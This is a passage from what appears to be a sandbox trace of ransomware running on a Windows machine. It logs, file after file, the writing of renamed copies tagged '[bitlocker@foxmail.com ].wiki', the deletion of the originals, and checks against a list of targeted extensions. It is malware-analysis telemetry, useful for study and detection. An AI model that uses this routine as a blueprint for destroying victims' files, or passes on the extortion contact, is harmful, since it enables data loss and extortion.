lpNewFilePointer=0x0) returned 1 [0191.333] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0191.333] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099176.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0191.333] GetLastError () returned 0x0 [0191.333] ReadFile (in: hFile=0x1f4, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x9b8, lpOverlapped=0x0) returned 1 [0191.338] WriteFile (in: hFile=0x1dc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x9c0, lpOverlapped=0x0) returned 1 [0191.338] ReadFile (in: hFile=0x1f4, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0191.338] WriteFile (in: hFile=0x1dc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0191.339] SetEndOfFile (hFile=0x1dc) returned 1 [0191.339] CloseHandle (hObject=0x1dc) returned 1 [0191.339] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0191.339] SetEndOfFile (hFile=0x1f4) returned 1 [0191.340] CloseHandle (hObject=0x1f4) returned 1 [0191.340] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0191.340] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099176.wmf")) returned 1 [0191.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF") returned 63 [0191.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF") returned 63 [0191.340] lstrlenW (lpString=".doc") returned 4 [0191.340] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0191.340] lstrlenW (lpString=".docx") returned 5 [0191.340] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0191.340] lstrlenW (lpString=".pdf") returned 4 [0191.340] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0191.340] lstrlenW (lpString=".xls") returned 4 [0191.340] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0191.340] lstrlenW (lpString=".xlsx") returned 5 [0191.340] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0191.340] lstrlenW (lpString=".ppt") returned 4 [0191.340] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0191.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF") returned 63 [0191.340] lstrlenW (lpString=".zip") returned 4 [0191.340] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0191.340] lstrlenW (lpString=".rar") returned 4 [0191.341] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0191.341] lstrlenW (lpString=".bz2") returned 4 [0191.341] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0191.341] lstrlenW (lpString=".7z") returned 3 [0191.341] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0191.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF") returned 63 [0191.341] lstrlenW (lpString=".dbf") returned 4 [0191.341] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0191.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF") returned 63 [0191.341] lstrlenW (lpString=".1cd") returned 4 [0191.341] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0191.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF") returned 63 [0191.341] lstrlenW (lpString=".jpg") returned 4 [0191.341] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0191.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF") returned 63 [0191.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF") returned 63 [0191.341] lstrlenW (lpString=".doc") returned 4 [0191.341] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0191.341] lstrlenW (lpString=".docx") returned 5 [0191.341] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0191.341] lstrlenW (lpString=".pdf") returned 4 [0191.341] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0191.341] lstrlenW (lpString=".xls") returned 4 [0191.341] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0191.341] lstrlenW (lpString=".xlsx") returned 5 [0191.341] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0191.341] lstrlenW (lpString=".ppt") returned 4 [0191.341] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0191.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF") returned 63 [0191.341] lstrlenW (lpString=".zip") returned 4 [0191.341] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0191.341] lstrlenW (lpString=".rar") returned 4 [0191.341] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0191.341] lstrlenW (lpString=".bz2") returned 4 [0191.342] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0191.342] lstrlenW (lpString=".7z") returned 3 [0191.342] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0191.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF") returned 63 [0191.342] lstrlenW (lpString=".dbf") returned 4 [0191.342] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0191.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF") returned 63 [0191.342] lstrlenW (lpString=".1cd") returned 4 [0191.342] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0191.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF") returned 63 [0191.342] lstrlenW (lpString=".jpg") returned 4 [0191.342] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0191.342] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0191.342] lstrlenW (lpString="J0099179.WMF") returned 12 [0191.342] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099179.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0191.342] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=9154) returned 1 [0191.342] CloseHandle (hObject=0x1f4) returned 1 [0191.343] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099179.wmf")) returned 0x20 [0191.343] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099179.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0191.343] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099179.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0191.343] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0191.343] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0191.343] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099179.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0191.343] GetLastError () returned 0x0 [0191.343] ReadFile (in: hFile=0x1f4, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x23c2, lpOverlapped=0x0) returned 1 [0191.408] WriteFile (in: hFile=0x1dc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x23d0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x23d0, lpOverlapped=0x0) returned 1 [0191.409] ReadFile (in: hFile=0x1f4, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0191.409] WriteFile (in: hFile=0x1dc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0191.410] SetEndOfFile (hFile=0x1dc) returned 1 [0191.410] CloseHandle (hObject=0x1dc) returned 1 [0191.410] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0191.410] SetEndOfFile (hFile=0x1f4) returned 1 [0191.411] CloseHandle (hObject=0x1f4) returned 1 [0191.411] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0191.411] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099179.wmf")) returned 1 [0191.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF") returned 63 [0191.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF") returned 63 [0191.411] lstrlenW (lpString=".doc") returned 4 [0191.411] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0191.411] lstrlenW (lpString=".docx") returned 5 [0191.411] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0191.411] lstrlenW (lpString=".pdf") returned 4 [0191.411] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0191.411] lstrlenW (lpString=".xls") returned 4 [0191.411] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0191.411] lstrlenW (lpString=".xlsx") returned 5 [0191.411] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0191.411] lstrlenW (lpString=".ppt") returned 4 [0191.411] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0191.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF") returned 63 [0191.411] lstrlenW (lpString=".zip") returned 4 [0191.411] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0191.411] lstrlenW (lpString=".rar") returned 4 [0191.411] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0191.412] lstrlenW (lpString=".bz2") returned 4 [0191.412] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0191.412] lstrlenW (lpString=".7z") returned 3 [0191.412] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0191.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF") returned 63 [0191.412] lstrlenW (lpString=".dbf") returned 4 [0191.412] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0191.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF") returned 63 [0191.412] lstrlenW (lpString=".1cd") returned 4 [0191.412] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0191.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF") returned 63 [0191.412] lstrlenW (lpString=".jpg") returned 4 [0191.412] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0191.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF") returned 63 [0191.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF") returned 63 [0191.412] lstrlenW (lpString=".doc") returned 4 [0191.412] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0191.412] lstrlenW (lpString=".docx") returned 5 [0191.412] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0191.412] lstrlenW (lpString=".pdf") returned 4 [0191.412] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0191.412] lstrlenW (lpString=".xls") returned 4 [0191.412] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0191.412] lstrlenW (lpString=".xlsx") returned 5 [0191.412] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0191.412] lstrlenW (lpString=".ppt") returned 4 [0191.412] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0191.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF") returned 63 [0191.412] lstrlenW (lpString=".zip") returned 4 [0191.412] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0191.412] lstrlenW (lpString=".rar") returned 4 [0191.412] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0191.413] lstrlenW (lpString=".bz2") returned 4 [0191.413] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0191.413] lstrlenW (lpString=".7z") returned 3 [0191.413] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0191.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF") returned 63 [0191.413] lstrlenW (lpString=".dbf") returned 4 [0191.413] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0191.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF") returned 63 [0191.413] lstrlenW (lpString=".1cd") returned 4 [0191.413] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0191.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF") returned 63 [0191.413] lstrlenW (lpString=".jpg") returned 4 [0191.413] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0191.413] lstrcmpiW (lpString1=".JPG", lpString2=".wiki") returned -1 [0191.413] lstrlenW (lpString="J0099188.JPG") returned 12 [0191.413] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099188.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0191.413] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=9080) returned 1 [0191.414] CloseHandle (hObject=0x1f4) returned 1 [0191.414] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099188.jpg")) returned 0x20 [0191.414] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099188.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0191.414] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099188.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0191.414] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0191.414] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0191.414] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099188.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0191.414] GetLastError () returned 0x0 [0191.414] ReadFile (in: hFile=0x1f4, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x2378, lpOverlapped=0x0) returned 1 [0191.416] WriteFile (in: hFile=0x1dc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x2380, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x2380, lpOverlapped=0x0) returned 1 [0191.417] ReadFile (in: hFile=0x1f4, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0191.417] WriteFile (in: hFile=0x1dc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0191.417] SetEndOfFile (hFile=0x1dc) returned 1 [0191.417] CloseHandle (hObject=0x1dc) returned 1 [0191.417] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0191.417] SetEndOfFile (hFile=0x1f4) returned 1 [0191.418] CloseHandle (hObject=0x1f4) returned 1 [0191.418] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0191.418] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099188.jpg")) returned 1 [0191.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG") returned 63 [0191.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG") returned 63 [0191.419] lstrlenW (lpString=".doc") returned 4 [0191.419] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0191.419] lstrlenW (lpString=".docx") returned 5 [0191.419] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0191.419] lstrlenW (lpString=".pdf") returned 4 [0191.419] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0191.419] lstrlenW (lpString=".xls") returned 4 [0191.419] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0191.419] lstrlenW (lpString=".xlsx") returned 5 [0191.419] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0191.419] lstrlenW (lpString=".ppt") returned 4 [0191.419] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0191.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG") returned 63 [0191.419] lstrlenW (lpString=".zip") returned 4 [0191.419] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0191.419] lstrlenW (lpString=".rar") returned 4 [0191.419] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0191.419] lstrlenW (lpString=".bz2") returned 4 [0191.419] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0191.419] lstrlenW (lpString=".7z") returned 3 [0191.419] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0191.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG") returned 63 [0191.419] lstrlenW (lpString=".dbf") returned 4 [0191.419] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0191.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG") returned 63 [0191.419] lstrlenW (lpString=".1cd") returned 4 [0191.419] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0191.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG") returned 63 [0191.420] lstrlenW (lpString=".jpg") returned 4 [0191.420] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0191.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG") returned 63 [0191.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG") returned 63 [0191.420] lstrlenW (lpString=".doc") returned 4 [0191.420] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0191.420] lstrlenW (lpString=".docx") returned 5 [0191.420] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0191.420] lstrlenW (lpString=".pdf") returned 4 [0191.420] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0191.420] lstrlenW (lpString=".xls") returned 4 [0191.420] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0191.420] lstrlenW (lpString=".xlsx") returned 5 [0191.420] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0191.420] lstrlenW (lpString=".ppt") returned 4 [0191.420] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0191.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG") returned 63 [0191.420] lstrlenW (lpString=".zip") returned 4 [0191.420] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0191.420] lstrlenW (lpString=".rar") returned 4 [0191.420] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0191.420] lstrlenW (lpString=".bz2") returned 4 [0191.420] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0191.420] lstrlenW (lpString=".7z") returned 3 [0191.421] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0191.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG") returned 63 [0191.421] lstrlenW (lpString=".dbf") returned 4 [0191.421] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0191.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG") returned 63 [0191.421] lstrlenW (lpString=".1cd") returned 4 [0191.421] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0191.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG") returned 63 [0191.421] lstrlenW (lpString=".jpg") returned 4 [0191.421] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0191.421] lstrcmpiW (lpString1=".JPG", lpString2=".wiki") returned -1 [0191.421] lstrlenW (lpString="J0099189.JPG") returned 12 [0191.421] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099189.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0191.421] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=8076) returned 1 [0191.421] CloseHandle (hObject=0x1f4) returned 1 [0191.422] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099189.jpg")) returned 0x20 [0191.422] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099189.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0191.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099189.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0191.422] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0191.422] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0191.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099189.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0191.422] GetLastError () returned 0x0 [0191.422] ReadFile (in: hFile=0x1f4, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, 